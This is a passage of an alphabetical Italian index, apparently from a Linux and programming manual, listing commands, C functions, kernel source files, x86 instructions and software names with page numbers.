6578 gdt() 6699 gdt.c 7221 gdt_load() 6699 gdt_load.s 7222 gdt_print() 6699 gdt_print.c 7222 gdt_public.c 7223 gdt_segment() 6699 gdt_segment.c 7223 gdt_t 6685 genisoimage 1091 geometria del disco 1022 gestione delle immagini 1915 gestore di *file* 1337 1871 gestore di finestre 1797 1806 gestore di sessione 1810 1815 getc 1517 getc() 4850 5788 6864 getchar() 4850 5788 6864 getchar.c 6286 7588 getchar_unlocked() 4854 getcwd() 4872 4876 5736 6804 getcwd.c 6439 7808 getc_unlocked() 4854 getegid() 4872 6805 getegid.c 7809 getenv() 4763 5799 6876 getenv.c 6353 7660 geteuid() 4872 5737 6807 geteuid.c 6440 7809 getfacl 1180 1180 getgid() 4872 6805 getgid.c 7810 getgrent() 6876 getgrgid() 6878 getgrgid.c 6264 getgrnam() 6878 getgrnam.c 6264 getgroups() 4872 gethostname() 4872 getlogin() 4872 getlogin_r() 4872 getopt() 4872 5800 6879 getopt.c 6440 7810 getopts 881 888 getpgrp() 4872 5738 6806 getpgrp.c 6445 7815 getpid() 4872 5738 6806 getpid.c 6445 7815 getppid() 4872 5738 6806 getppid.c 6446 7815 getpwent() 5803 6883 getpwnam() 5805 6884 getpwuid() 5805 6884 gets() 4851 4905 5790 6866 gets.c 6287 7589 Gettext 3192 4925 gettext.sh 898 getty 5863 6943 getty.c 6506 7890 getuid() 4872 5737 6807 getuid.c 6446 7816 get-edid 1748 Ghostscript 1569 1660 giacenza media 8154 GID 92 gid_t 4861 Gimp 1928 GIORNI()

8283 GIORNI.ANNO() 8283 GIORNI.MESE() 8283 GIORNO() 8283 GIORNO.SETTIMANA() 8283 Gksu 1745 glob() 1516 *global descriptor table* 6578 *globbing* 80 93 128 847 Gmemusage 1877 GMT 503 gmtime() 4828 4902 5774 6850 gmtime.c 6419 7781 Gnome 1817 gnomecc 1817 gnome-session 1817 Gnome-volume-control 1985 gnome-wm 1817 Gnome control center 1817 Gnome panel 1818 Gnome PGP 2799 Gnome APT 269 GNU 29 Gnumeric 1881 GnuPG 2786 GNU AS 4226 GO TO 5035 Gpaint 1940 Gpart 1047 gpasswd 800 gpg 2786 gpgm 2786 GPGP 2799 gpm 648 GPM 2952 gpm.conf 2952 gpmdata 647 GQview 1942 GRADI() 8286 grafico 8195 GRANT 5210 GraphicsMagick 1938 Greenwich mean time 503 grent.c 7517 Grep 152 1392 Grepmail 2484 griglia 8124 Grip 1967 groff 1560 Groff 1533 group 757 6937 groupadd 800 groupdel 801 groups 766 Growisofs 1101 grp.h 6263 7510 grpck 803 grpconv 799 grpunconv 799 GRUB 1 204 1098 gruppo di elaborazione 492 865 gruppo privato 778 gs 1569 gshadow 799 gtcd 1956 gtkrc 1649 Gtkwhiteboard 4080 Gtypist 712 Gucharmap 3168 gunzip 1215 gzcat 1215 gzip 1215 Hanoi 4130 4625 *hard link* 1187 hash 881 *hash* 1465 hd 1298 hd* 374 head 1281 header_t 6685 *header file* 4469 heap_clear() 5806 heap_clear.c 6397 heap_min() 5806 heap_min.c 6397 hex() 1527 hexcat 1301 hexdump 1298 HLT 5612 *host* 94 Host 2251 host.conf 2230 hostid 555 hostinfo-* 2361 hostname 554 554 hosts 2232 hosts.allow 2316 2321 2334 2726 hosts.deny 2316 2321 2334 2726 hosts.equiv 1646 2372 2835 hosts.lpd 1646 HOUR() 8283 HOWTO 170 HPIJS 1576 1660 ht://Dig 2596 htdig.conf 2597 htdigconfig 2597 HTML 3742 3755 3841 3863 HTML2ps 3823 html2psrc 3823 HTMLDOC 3841 htop 480 htsearch 2598 HTTP 2543 2546 2566 2969 2975 Hunspell 3185 hwclock 510 i18n 98 i25 3984 ibm_i386.h 6696 6993 7207 ibm_i86.h 5648 5932 6118 IBM CP 437 3156 IBM CP 850 3156 IBM PC 5618 ICANON 4883 icat 1241 Icecast 1 2036 ICMP 2154 icmplog 2767 Iconv 3173 ICQ 2440 ICRNL 4882 id 766 IDE 309 367 373 6609 IDENT 2720 Ident2 2721 identd 2721 IDENTIFICATION DIVISION 4956 identity 2830 identity.pub 2830 identità efficace 754 identità reale 754 identità salvata 754 identtestd 2721 IDIV 4218 4262 5607 IDT 6589 idt() 6700 idt.c 7224 idtr_t 6685 idt_descriptor() 6700 idt_descriptor.c 7226 idt_irq_remap() 6700 idt_irq_remap.c 7227 idt_load() 6700 idt_load.s 7228 idt_print() 6700 idt_print.c 7228 idt_public.c 7229 idt_t 6685 id_dsa 2830 id_dsa.pub 2830 id_rsa 2830 id_rsa.pub 2830 id_t 4861 IEEE 1003.1 31 IEEE 754 4190 IEEE 802.11 2283 IEEE 802.3 2139 2144 IEXTEN 4883 if 876 1472 4455 5504 IF 5035 Ifconfig 2156 2160 ifdef 1445 ifelse 1445 if_inet6 2207 IGNBRK 4882 IGNCR 4882 IGNPAR 4882 IJS 1660 ils 1241 *im* 1793 ImageMagick 1930 imapd 2486 imaxabs() 4777 6843 imaxabs.c 7531 imaxdiv() 4772 6852 imaxdiv.c 7531 imaxdiv_t 4772 immagine 4384 immagine di un processo elaborativo 4365 *implementation* 98 import 1935 impronta digitale 2782 IMUL 4218 4261 5607 IN 5617 5617 in.fingerd 2370 in.ftpd 2457 in.identtestd 2721 in.rlogind 2374 in.rshd 2375 in.talkd 2425 in.telnetd 2378 in.tftpd 2383 INB 6575 INC 4218 4241 4282 5607 include 1448 indicatore 4182 4201 indice 1089 indice di affidabilità del fornitore 8188 indice di rotazione 8154 indice di rotazione del magazzino 8189 indicizzazione dei *file* 2596 indirizzamento 4314 Industry standard architecture 379 inetd 2312 inetd.conf 1903 2312 2315 info 166 informazione testuale 8100 init 4652 5863 6943 Init 463 init.c 6508 7892 initdb 5217 Initrd 341 Initrd tools 344 initscript 468 468 inittab 465 5859 6937 Init System V 463 inizializzazione 1032 [*Inizio*] 8109 INLCR 4882 innesto di un *file system* 93 1059 *inode* 1028 1029 inode 4682 inode_alloc() 5669 5892 6748 6963 inode_alloc.c 6041 7137 inode_check() 5669 5893 6748 6964 inode_check.c 6044 7141 inode_dir_empty() 5669 5894

6748 6966 inode_dir_empty.c 6046 7142 inode_file_read() 5669 5895 6748 6967 inode_file_read.c 6047 7144 inode_file_write() 5669 5896 6748 6968 inode_file_write.c 6049 7146 inode_free() 5897 6748 6969 inode_free.c 6051 7148 inode_fzones_read() 5669 5898 6748 6970 inode_fzones_read.c 6052 7149 inode_fzones_write() 5898 6748 6970 inode_fzones_write.c 6053 7151 inode_get() 5669 5899 6748 6971 inode_get.c 6055 7152 inode_pipe_make() 6748 6972 inode_pipe_make.c 7155 inode_pipe_read() 6748 6973 inode_pipe_read.c 7157 inode_pipe_write() 6748 6974 inode_pipe_write.c 7159 inode_print() 6748 6975 inode_print.c 7161 inode_put() 5669 5900 6748 6975 inode_put.c 6058 7163 inode_reference() 5669 5901 6748 6976 inode_reference.c 6060 7164 inode_save() 5669 5902 6748 6977 inode_save.c 6062 7166 inode_stdio_dev_make() 5903 6748 6978 inode_stdio_dev_make.c 6063 7167 inode_t 5639 5667 6685 6746 inode_table.c 6065 7169 inode_truncate() 5669 5904 6748 6979 inode_truncate.c 6065 7169 inode_zone() 5669 5905 6748 6979 inode_zone.c 6067 7172 ino_t 4861 INPCK 4882 inputrc 870 905 input_line() 5807 6886 input_line.c 6398 7725 INPUT-OUTPUT SECTION 4961 *input method* 1793 inserimento di celle 8163 inserimento di colonne 8165 inserimento di righe 8165 INSERT INTO 5194 5205 insmod 330 INSPECT 5037 install 1195 installazione 179 installazione di applicativi 224 instradamento 2163 2174 INT 4221 4226 5612 int 4441 5482 INT() 8286 8286 int() 1527 int10_00() 5650 int10_02() 5650 int10_05() 5650 int12() 5650 int13_00() 5650 int13_02() 5650 int13_03() 5650 int16_00() 5650 int16_01() 5650 int16_02() 5650 INT16_C() 4728 4889 INT16_MAX 4727 4889 INT16_MIN 4727 4889 int16_t 4727 4889 INT32_C() 4728 4889 INT32_MAX 4727 4889 INT32_MIN 4727 4889 int32_t 4727 4889 INT64_C() 4728 4889 INT64_MAX 4727 4889 INT64_MIN 4727 4889 int64_t 4727 4889 INT8_C() 4728 4889 INT8_MAX 4727 4889 INT8_MIN 4727 4889 int8_t 4727 4889 interfaccia di rete 6639 interfogliata due su cinque 3984 Interleaved two of five 3984 *internal linkage* 4485 internazionalizzazione 98 Internet Archive 30 *Internet domain socket* 2273 2275 Internet relay chat 2428 Internet service daemon 2311 intero con segno 4188 5440 intero senza segno 4187 5440 interprete dei comandi 844 *interrupt* 5595 *interrupt descriptor table* 6589 *interrupt vector table* 5619 interruzione 6594 interruzione di riga 93 4583 8136 interruzione di riga manuale 8132 intestazione di riga e di colonna 8124 INTMAX_C() 4731 4889 INTMAX_MAX 4731 4889 INTMAX_MIN 4731 4889 intmax_t 4731 4889 INTO 5612 INTPTR_MAX 4730 4889 INTPTR_MIN 4730 4889 intptr_t 4730 4889 inttypes.h 4771 4891 6239 7519 INT_FAST16_MAX 4729 4889 INT_FAST16_MIN 4729 4889 int_fast16_t 4729 4889 INT_FAST32_MAX 4729 4889 INT_FAST32_MIN 4729 4889 int_fast32_t 4729 4889 INT_FAST64_MAX 4729 4889 INT_FAST64_MIN 4729 4889 int_fast64_t 4729 4889 INT_FAST8_MAX 4729 4889 INT_FAST8_MIN 4729 4889 int_fast8_t 4729 4889 INT_LEAST16_MAX 4728 4889 INT_LEAST16_MIN 4728 4889 int_least16_t 4728 4889 INT_LEAST32_MAX 4728 4889 INT_LEAST32_MIN 4728 4889 int_least32_t 4728 4889 INT_LEAST64_MAX 4728 4889 INT_LEAST64_MIN 4728 4889 int_least64_t 4728 4889 INT_LEAST8_MAX 4728 4889 INT_LEAST8_MIN 4728 4889 int_least8_t 4728 4889 INT_MAX 4723 4888 INT_MIN 4723 4888 inverter 4099 invertitore 4099 [*Invio*] 8109 8132 invito della *shell* 845 in_16() 5650 6696 in_8() 5650 6696 ioctl 1517 ip 2187 2187 IP 4216 5595 IPC 458 IPlogger 2767 ipop2d 2486 ipop3d 2486 IPP 1694 Iproute 2187 IPTables 2653 IPTraf 2756 IPv4 2129 2624 IPv4-compatible IPv6 addresses 2204 IPv4-mapped IPv6 addresses 2205 IPv6 2152 2194 2207 2232 IP aliasing 2162 IRC 2428

ircd 2434 ircd.conf 2431 2432 ircd.motd 2432 ircII 2434 IRET 5612 6594 irq_off() 5650 6697 irq_off.c 6144 7229 irq_on() 5650 6697 irq_on.c 6145 7230 ISA 379 isalnum() 4741 4895 isalpha() 4741 4895 isascii() 4747 isatty() 4872 5808 6887 isatty.c 6446 7816 isblank() 4742 4895 ISBN 3976 iscntrl() 4742 4895 isdigit() 4743 4895 ISEVEN() 8286 isgraph() 4743 4895 ISIG 4883 ISLEAPYEAR() 8283 islower() 4744 4895 iso646.h 4778 ISODD() 8286 Isolinux 1096 ISOLINUX 201 Isosize 1148 ISO-OSI 2120 ISO 10646 3141 3147 5017 ISO 13346 1088 ISO 15445 3742 3755 ISO 216 3105 ISO 646 3151 ISO 8601 5183 ISO 8802.11 2283 ISO 8802.3 2139 2144 ISO 8859 3154 ISO 9660 1088 ISO 9945 31 ISO 9995-7 591 ISO Latin 3154 Ispell 3178 isprint() 4744 4895 ispunct() 4745 4895 isql 5320 isr.s 6703 7231 ISRC 1946 isr_1C 5940 isr_80 5940 isr_exception_name() 6701 isr_exception_name.c 7245 isr_exception_unrecoverable() 6701 isr_exception_unrecoverable.c 7246 isr_irq_clear() 6701 isr_irq_clear.c 7246 isr_irq_clear_pic1() 6701 isr_irq_clear_pic1.c 7247 isr_irq_clear_pic2() 6701 isr_irq_clear_pic2.c 7247 isr_***n***() 6701 ISSN 3977 isspace() 4745 4895 issue 663 5859 6938 issue.net 2378 istogramma 8204 ISTRIP 4882 isupper() 4746 4895 isxdigit() 4746 4895 itemize 3416 ITF 3984 iusql 5320 IVT 5619 ivt_load() 5941 iwconfig 2299 iwlist 2302 IXOFF 4882 IXON 4882 I&D 5627 5635 6681 I-O-CONTROL 4972 *I-seek-you* 2440 JA 4222 4280 5613 JAE 4222 4280 5613 JavaScript 3779 JB 4222 4280 4286 5613 JBE 4222 4280 5613 JC 4222 4279 5613 JCXZ 4222 5613 JE 4222 4280 4282 5613 JG 4222 4280 5613 JGE 4222 4280 5613 JL 4222 4280 5613 JLE 4222 4280 5613 JMP 4222 4278 4284 5613 JMP FAR 5613 JNA 4222 4280 5613 JNAE 4222 4280 5613 JNB 4222 5613 JNBE 4222 4280 5613 JNC 4222 4279 4293 5613 JNE 4222 4280 5613 JNG 4222 4280 5613 JNGE 4222 4280 5613 JNL 4222 4280 5613 JNLE 4280 JNO 4222 4279 5613 JNP 4222 4279 5613 JNS 4222 4279 5613 JNZ 4222 4279 4282 5613 JO 4222 4279 5613 *job* 95 jobs 493 881 *job* di *shell* 492 865 join 1290 Joliet 1091 JP 4222 4279 5613 JPE 5613 jpeg2yuv 2057 JPO 5613 JS 4222 4279 5613 JUSTIFIED RIGHT 4992 JZ 4222 4279 4288 5613 Kappfinder 1821 Kaptain 957 *kartei* 74 kbd.h 6996 7102 kbd_isr() 6737 kbd_isr.c 7102 kbd_load() 6737 kbd_load.c 7104 kbd_mode 593 kbd_public.c 7106 kbd_t 6685 Kcontrol 1820 KDE 1818 Kdm 1815 *kernel* 68 291 325 kernel.ld 6689 7034 keys() 1528 Khelpcenter 1823 kill 490 496 881 5715 6779 kill() 1525 5739 6808 kill.c 6271 6512 7567 7896 killall 490 killall5 490 klogd 750 kmain.c 7345 kmem_file 5854 6932 kmem_inode 5854 6932 kmem_mmp 5855 6933 kmem_ps 5855 6934 kmem_sb 5855 6934 Kmenuedit 1821 known_hosts 2833 Kolourpaint 1939 Konqueror 1873 Kpersonalizer 1819 KQEMU 2101 Ktouch 697 k_clock.c 6146 k_close.c 6146 k_exit.s 6147 7254 k_gets.c 7255 k_kill.c 6147 k_libc.h 5936 6145 k_open.c 6147 k_perror.c 6148 7255 k_printf.c 6149 7256 k_puts.c 6149 k_read.c 6149 k_sleep.c 7256 k_stime.c 6150 7257 k_time.c 6150 k_vprintf.c 6151 7257 k_vsprintf.c 6151 7258 L 4443 4443 5485 5485 l10n 98 LABEL RECORD 4980 labs() 4765 4897 5768 6843 labs.c 6354 7661 LAHF 5600 LAME 2019 LAN 2115 LANG 2948 last 811 lastcomm 815 lastlog 760 LaTeX 3367 LBA 370 1027 LCM() 8286 LC_TIME 4829 ld.so.cache 228 ld.so.conf 228 Ld86 5627 ldconfig 228 ldd 230 ldiv() 4765 4897 5776 6852 ldiv.c 6354 7662 ldiv_t 4755 LDP 170 LDS 5600 LEA 4217 4319 5600 LEAVE 4303 4308 5609 led 594 LES 5600 less 159 lettera circolare 4059 LGDT 6587 libao.conf 2022 Libdelsafe 1246 1247 libgen.h 6265 7532 Libident 2721 libpam.so 804 LibPQ 5227 libreria 228 libreria dinamica 4352 libreria statica 4361 Libundel 1250 lib_k.h 6997 7248 lib_s.h 6997 7259 licenza del *software* 19 Licq 2440 LIDT 6592 LIFO 4166 5459 limits.h 4723

4888 6242 7459 *link* 76 125 4185 4485 link() 1512 4872 4878 5740 6808 link.c 6447 7817 *linkage* esterno 4497 *linkage* interno 4497 links.conf 337 *link script* 4367 Linux 29 LinuxDoc 3683 LinuxInfo 556 list 3416 lista 1461 lista di comandi 860 lista di posta elettronica 2530 listen 2039 *little endian* 4178 5466 little endian 4192 livello di esecuzione 96 LL 4443 5485 llabs() 4765 4897 6843 llabs.c 7662 lldiv() 4765 4897 6852 lldiv.c 7662 lldiv_t 4755 LLONG_MAX 4723 4888 LLONG_MIN 4723 4888 ln 89 125 1193 5717 6779 LN() 8286 8286 ln.c 6516 7900 loadkeys 597 locale 558 824 locale.alias 559 locale.gen 559 locale.h 4562 4735 4918 localedef 558 locale-gen 559 localizzazione 98 817 localtime 506 828 localtime() 4828 4902 5774 6850 *local time* 503 LODSB 5602 LODSW 5602 *log* 95 log() 1527 LOG() 8286 8286 LOG10() 8286 8286 logger 749 login 755 5717 6780 *login* 79 92 755 login.c 6519 7903 login.defs 784 *login* grafico 1810 *login* remoto 2372 2701 logname 765 *logout* 79 92 Logrotate 752 logrotate.conf 752 long 4441 5482 longjmp() 6720 6822 longjmp.c 7557 longtable 3462 LONG_BIT 4725 LONG_MAX 4723 4888 LONG_MIN 4723 4888 long long 4441 5482 *loop* 1144 LOOP 4226 4282 4282 5616 *loopback* 2132 2156 2164 LOOPE 4226 4282 5616 LOOPNE 4226 4282 5616 LOOPNZ 4226 4282 5616 LOOPZ 4226 4282 5616 lp 1642 lp0 1631 lpadmin 1700 lpc 1645 lpd 1635 1641 lpd.conf 1646 lpd.perms 1646 lpinfo 1699 lpq 1643 lpr 1635 1642 lprm 1644 LPRng 1646 1683 lrbox 3437 ls 86 114 1162 5718 6781 ls.c 6522 7907 lsattr 1177 lsdev 547 lseek() 4679 4872 5741 6810 lseek.c 6448 7818 lshw 552 LSI UNIX 52 lsmod 331 Lsof 482 lspci 549 lspci 382 lstat() 1512 4865 4920 lsusb 551 LSX 52 luit 640 3175 *lvalue* 4497 4500 5540 L"..." 4564 L_ctermid 4833 L_tmpnam 4833 4905 L'...' 4564 m// 1493 M4 1437 macchina da scrivere 567 675 magazzino 8154 8154 magazzino, consistenza media 8188 magazzino, durata media di permanenza 8189 magazzino, indice di rotazione 8189 Magicfilter 1662 *magic number* 117 927 1166 1892 magic SysRq 346 mail 2472 mail.rc 2472 *mailing-list* 2530 Mailman 2532 mailq 2467 Mailx 2472 main() 4522 5571 5644 6692 main.c 6156 main.h 5936 6151 6997 7337 *main memory* 425 [*Maiuscole Canc*] 8150 [*Maiuscole Ins*] 8147 8150 major() 4699 5809 6888 major.c 6414 7754 Make 226 4414 makedbm 2334 2334 MAKEDEV 336 1134 1227 1227 5864 6944 makedev() 4699 5809 6888 makedev.c 6414 7754 MAKEDEV.c 6460 7836 MAKEDEV.local 1134 *makefile* 224 Makefile 224 2341 4414 makeindex 3445 makeit 5979 makeit.sep 7035 make-kpkg 296 malloc() 4531 4762 4897 5810 6889 malloc.c 7679 man 164 5719 6782 MAN 2115 man.c 6529 7914 man.config 163 825 *management information base* 2391 manpath.config 163 825 mantissa 4190 mappa della tastiera 595 mappa della tastiera italiana 583 *markup* 3136 mascheramento 2642 maschera dei permessi 139 maschera di rete 2129 math 3470 Mathopd 2546 mathopd.conf 2548 mathopd.pid 2546 MAU 2147 MAX() 8171 mblen() 4767 4897 mboot.c32 201 mboot_public.c 7376 mboot_save.c 7376 MBR 193 1025 mbstowcs() 4769 4897 mbtowc() 4768 4897 mb_alloc() 5656 6728 mb_alloc.c 6162 7360 mb_alloc_size() 5656 6728 mb_alloc_size.c 6163 7362 mb_clean() 6728 mb_clean.c 7364 MB_CUR_MAX 4755 mb_free() 5656 6728 mb_free.c 6165 7364 MB_LEN_MAX 4723 4888 mb_print() 6728 mb_print.c 7366 mb_public.c 7368 mb_reduce() 6728 mb_reduce.c 7368 mb_reference() 5656 6728 mb_reference.c 6167 7369 mb_size() 6728 mb_size.c 7369 mb_table.c 6167 mc 1337 MCA 381 MCD() 8286 Mcedit 1346 mcedit 1346 MCM() 8286 mcookie 1741 md5sum 1296 Mdadm 1111 1116 mdstat 1111 MEDIA() 8171 mem 5856 6935 membro di una struttura 4544 memccpy() 4781 5811 6890 memccpy.c 6369 7693 memchr() 4794 4900 5812 6891 memchr.c 6369 7693 memcmp() 4789 4900 5812 6891 memcmp.c 6370 7694 memcpy() 4780 4900 5813 6892 memcpy.c 6370 7694 memdisk 200 memmove() 4782 4900 5814 6892

memmove.c 6371 7695 memoria *cache* 97 1028 1073 memoria centrale 425 memoria di massa 1017 1032 memoria tampone 97 memoria virtuale 182 1074 memory.c 5656 6727 memory.h 5656 5936 6161 6727 6998 7353 memory_t 5639 5656 *memory pad* 4367 memset() 4811 4900 5814 6893 memset.c 6372 7695 Memtest86+ 426 MEM_BLOCK_SIZE 5656 6727 mem_copy() 5657 mem_copy.c 6167 MEM_MAX_BLOCKS 5656 6727 mem_read() 5657 mem_read.c 6168 mem_write() 5657 mem_write.c 6168 menu.c 6159 7351 menu.c32 200 menu.lst 211 menù 8103 8106 MERGE 5077 MESE() 8283 mesg 2423 MESI() 8283 messaggio del *kernel* 750 messaggio sul terminale 2423 metacarattere 93 128 847 MIB 2391 Micro channel architecture 381 Midge 2008 MIDI 2006 midi2mg 2008 Midnight Commander 1337 2457 MIME 2492 MIN() 8171 MinGetty 664 minimizzazione 3496 Minix 29 29 4689 Mini-UNIX 50 minor() 4699 5809 6888 minor.c 6414 7754 MINUTE() 8283 MINUTO() 8283 MJPEG 2052 Mjpegtools 2057 MJPG 2052 mkcramfs 1107 mkdir 87 121 1157 5720 6783 mkdir() 1516 4700 4865 4920 5742 6811 mkdir.c 6410 6534 7745 7919 mkdosfs 1039 mke2fs 183 1038 mkfifo 458 1225 mkfifo() 4701 4708 4865 4920 mkfs 153 1040 mkfs.ext2 183 1038 mkfs.ext3 183 1038 mkfs.ext4 183 1038 mkfs.msdos 1039 mkinitrd 344 mkisofs 1091 mknod 336 1226 mknod() 4696 4865 4920 5744 6812 mknod.c 6411 7745 mksquashfs 1106 mkswap 183 1075 mktime() 4826 4902 5774 6850 mktime.c 6423 7785 mkzftree 1107 mmcheck 6783 mmcheck.c 7923 mmsitepass 2532 mm_cfg.py 2532 MOD() 8286 modalità orizzontale 3286 modalità verticale 3286 modeline 1767 modello del contenuto 3497 mode_t 4861 4863 modifica della parola d'ordine 109 modprobe 332 modprobe.conf 329 332 334 modulo del *kernel* 329 modulo di immissione 8244 modulo ehci_hcd 395 modulo ohci_hcd 395 modulo uhci_hcd 395 mogrify 1934 moltiplicazione binaria 55 5439 monoprogrammazione 92 montage 1935 MONTH() 8283 MONTHS() 8283 more 159 5720 6784 more.c 6538 7928 motd 759 2459 motore di ricerca 2596 3856 mount 154 1063 5865 6945 *mount* 93 1059 mount() 5745 6813 mount.c 6399 6543 7729 7932 mounts 1068 mouse 647 *mouse* 646 1718 1777 MOV 4217 4226 4240 5600 MOVE 5041 MOVSB 5602 MOVSW 5602 MOVSX 4217 MOVZX 4217 4293 MP3 1951 1967 2028 2029 MP3blaster 2029 MP3info 2016 Mpack 2504 MPEG 2052 2054 mpeg2enc 2059 Mpg321 2028 Mplayer 2052 mplex 2061 MRL 2052 MROUND() 8286 MRTG 2400 2977 mrtg.cfg 2400 MS-SYS 196 mtab 1068 *mtime* 1185 MUA 2469 MUL 4218 4259 5607 multiboot.h 6999 7370 multiboot_t 6685 *multiboot specification* 4383 6687 multibyte 4564 4766 *multicast* 2196 2352 multimedia 2052 MULTINOMIAL() 8286 MULTINOMIALE() 8286 MULTIPLY 5043 multiprogrammazione 92 munchlist 3182 mup2ly 3967 musedata2ly 3967 Mutt 2477 mv 91 124 1201 MX 2263 my.cnf 5283 5284 mysql 5283 5286 MySQL 5283 8437 mysqladmin 5283 mysqld 5283 mysqldump 5301 mysql_install_db 5293 Nail 2476 nail.rc 2476 named 2239 2249 named.conf 2258 2258 namei 1159 namep() 5815 6894 namep.c 6400 7729 NASM 4226 nastro 1017 NAT 2184 2642 2678 Nautilus 1872 navigazione 8109 nc 2769 ncal 532 NCCS 4881 NDEBUG 4722 NE2000 2145 6639 NEG 4218 4255 5607 net.conf 1903 NetBIOS 832 NetBSD 28 Netcat 2769 *netmask* 2129 Netstat 2748 netstat-nat 2683 networks 2233 *network address translation* 2184 2642 *network time protocol* 2385 newaliases 2467 newgrp 763 newlist 2533 *new-line* 93 1270 4583 NFS 2321 2699 3014 3022 NIC 6639 nice 526 nis 2345 NIS 2329 2703 3014 3022 nisdomainname 2335 nl 1272 nlink_t 4861 nlnx.config 2962 nlnx.hardware 2962 nlnx.last 2962 nlnx.mixed 2962 nlnx.network 2962 2968 nlnx.ro-fs 2962 nlnxrc 2911 nlnxrd.img 2938 Nmap 2744 nodo di rete 94 NOFLSH 4883 nohup 498 nologin 759 2459 nome a dominio 94 2237 nome di dominio 94 2137 2234 nome di zona 8246 NON() 8283 NOP 4217 5600 Normalize 1997 not 4778 NOT 4099 4207 5457 NOT 4220 5608

NOT() 8283 not_eq 4778 NOW() 8283 No init found. Try passing init= option to kernel 348 Nroff 1533 NS 2263 nsgmls 3525 Nslookup 2249 nsswitch.conf 2346 2347 NTFS 1045 ntfsmount 1125 NTFSprogs 1045 1125 NTFS-3g 1125 ntfs-3g 1125 NTP 2385 2970 ntp.conf 2387 ntpd 2387 ntpdate 2386 NULL 4530 4779 null 156 5857 6935 NULL.h 6237 7457 NUM.SETTIMANA() 8283 numero 5182 8140 numero intero con segno 4188 5440 numero intero senza segno 4187 5440 numero in virgola mobile 4189 5443 nvidiafb 643 O() 8283 obiettivo 8258 Objdump 4226 OBJECT-COMPUTER 4959 *object-like macro* 4470 *object identifier* 2391 OCCURS 4991 4993 oct() 1527 od 1274 ODBC 5180 5315 odbc.ini 5315 ODBCConfig 5317 ODBCDataSources 5315 odbcinst.ini 5315 ODD() 8286 offsetof 4549 4779 offsetof() 4917 5815 6895 offset_t 5639 5656 off_t 4861 Ogg 1953 ogg123 2022 oggdec 2022 oggenc 2022 oggetto fluttuante 3425 OGGI() 8283 ogginfo 2022 Ogg Vorbis 2022 OHCI 391 ohci-hcd.ko 395 OID 2391 OIN 30 onlnxrd.img 2938 OOPS 2633 2969 oops.cfg 2633 *opcode* 4182 open 652 OPEN 5044 5206 open() 1517 4672 4870 5746 6815 open.c 6263 7510 OpenBSD 28 OpenCOBOL 5093 opendir() 4712 4880 5816 6895 opendir.c 6250 7484 OpenOffice.org 1879 OpenOffice.org Calc 8103 OpenSSH 2830 OpenSSL 2811 Open Invention Network 30 Open Source 30 operatore 1468 operatore di confronto 8181 operatore logico 4099 4207 5457 8182 OPOST 4882 options 2786 or 4778 OR 4099 4207 5457 OR 4220 5608 OR() 8283 ora 5183 ORA() 8283 orario 8185 ORARIO() 8186 8283 ORARIO.VALORE() 8283 ora locale 503 ord() 1527 ordinamento 1286 ordine dei byte 4178 5466 organizzazione del *file* 4962 orientamento 8135 Orphaner 247 or_eq 4778 os16 5587 5631 os16.h 5648 5660 6385 os32 6677 os32.h 6730 7709 OSI 2120 OSS 30 ottimizzazione 4412 OUT 5617 5617 OUTB 6575 Outguess 2856 out_16() 5650 6696 out_8() 5650 6696 *overflow* 4109 4194 4201 4204 4216 4250 5446 5595 O_ACCMODE 4867 O_APPEND 4672 4867 O_CREAT 4672 4867 O_DSYNC 4867 O_EXCL 4672 4867 O_NOCTTY 4672 4867 O_NONBLOCK 4672 4867 O_RDONLY 4672 4867 O_RDWR 4672 4867 O_RSYNC 4867 O_SYNC 4672 4867 O_TRUNC 4672 4867 O_WRONLY 4672 4867 pacchetto 2119 pacchetto Debian 235 pacchetto di applicazioni 224 231 235 pacct 814 page 3387 3404 PAGER 5231 [*pagina*] 8109 pagina 3300 8124 PAM 804 pam.conf 805 panel 1818 *paragrafo* 5594 paragraph 3387 parallela 308 parametri di avvio 325 parametro 851 parametro di avvio 191 parametro formale 4496 PARI() 8286 *parity* 4216 5595 PARMRK 4882 parola 4181 parola d’ordine 92 parola d’ordine oscurata 781 parse-edid 1748 part 3387 part.h 6999 7377 Parted 1048 Partimage 1053 partizione 1025 1033 1046 partizione di scambio 183 partizione di scambio per la memoria virtuale 1074 partizione Dos-FAT 1037 partizione estesa 1026 partizione Linux-nativa 183 partizione logica 181 partizione primaria 1026 partizione Second-extended 183 PassiveTeX 3674 3717 *passphrase* 92 passwd 756 770 783 2998 5859 6938 passwd.md5 1711 *password* 92 *password shadow* 781 paste 1290 PAT 2184 2642 2678 PATA 367 370 6609 patch 226 1312 *path* 1158 pathchk 1161 pathconf() 4872 path_chdir() 5675 5906 path_chdir.c 6076 path_chmod() 5675 5907 path_chmod.c 6077 path_chown() 5675 5909 path_chown.c 6078 path_device() 5675 5910 6757 6988 path_device.c 6079 7180 path_fix() 5675 5911 6756 6989 path_fix.c 6080 7181 path_full() 5675 5912 6756 6990 path_full.c 6082 7183 path_inode() 5675 5913 6757 6991 path_inode.c 6083 7184 path_inode_link() 5675 5914 6757 6992 path_inode_link.c 6087 7188 path_link() 5675 5915 path_link.c 6092 path_mkdir() 5675 5917 path_mkdir.c 6093 path_mknod() 5675 5918 path_mknod.c 6096 path_mount() 5675 5920 path_mount.c 6097 path_stat() 5675 5927 path_stat.c 6099 path_umount() 5675 5920 path_umount.c 6100

path_unlink() 5675 5922 path_unlink.c 6103 pause() 4872 pcal 538 PCI 381 6628 PCI Express 387 pclose() 4855 pcmC0D0c 1985 pcmC0D0p 1985 Pconsole 659 PDF 1619 pdffonts 1624 pdfimages 1624 pdfinfo 1625 pdftops 1623 1623 PDP-11 7 PDU 2122 percentuale 8157 8157 percorso 1158 percorso degli eseguibili 1168 percorso di fiducia 2796 PERFORM 5046 *peripheral component interconnect* 6628 Peripheral component interconnect local bus 381 Perl 2584 perlSGML 3549 permessi 76 137 perror() 4855 4905 5817 6896 perror.c 6288 7590 personalizzazione 817 pezza 226 PgAccess 5257 pg_database 5234 pg_dump 5236 pg_dumpall 5236 pg_hba.conf 5222 5223 pg_shadow 5234 pg_user 5234 PHP 2976 PI() 8286 PI.GRECO() 8286 piano di ammortamento 8152 Pic 1557 PIC 6602 PICS 2640 picture 3464 PICTURE 5007 PID 95 Pidgin 2442 pidof 482 pid_t 4861 pila 4166 5459 ping 2172 pinky 764 PIO 370 370 *pipe* 458 4703 6751 pipe 1517 pipe() 4705 4872 6817 pipe.c 7818 *pipeline* 82 83 96 132 846 859 963 *pipe* con nome 1224 PIT 6607 pittogramma 591 pivot 8260 piè di pagina 8124 Platform for Internet content selection 2640 play-sample 1987 PLIP 2150 2158 2166 Plug & Play 308 pmx2ly 3967 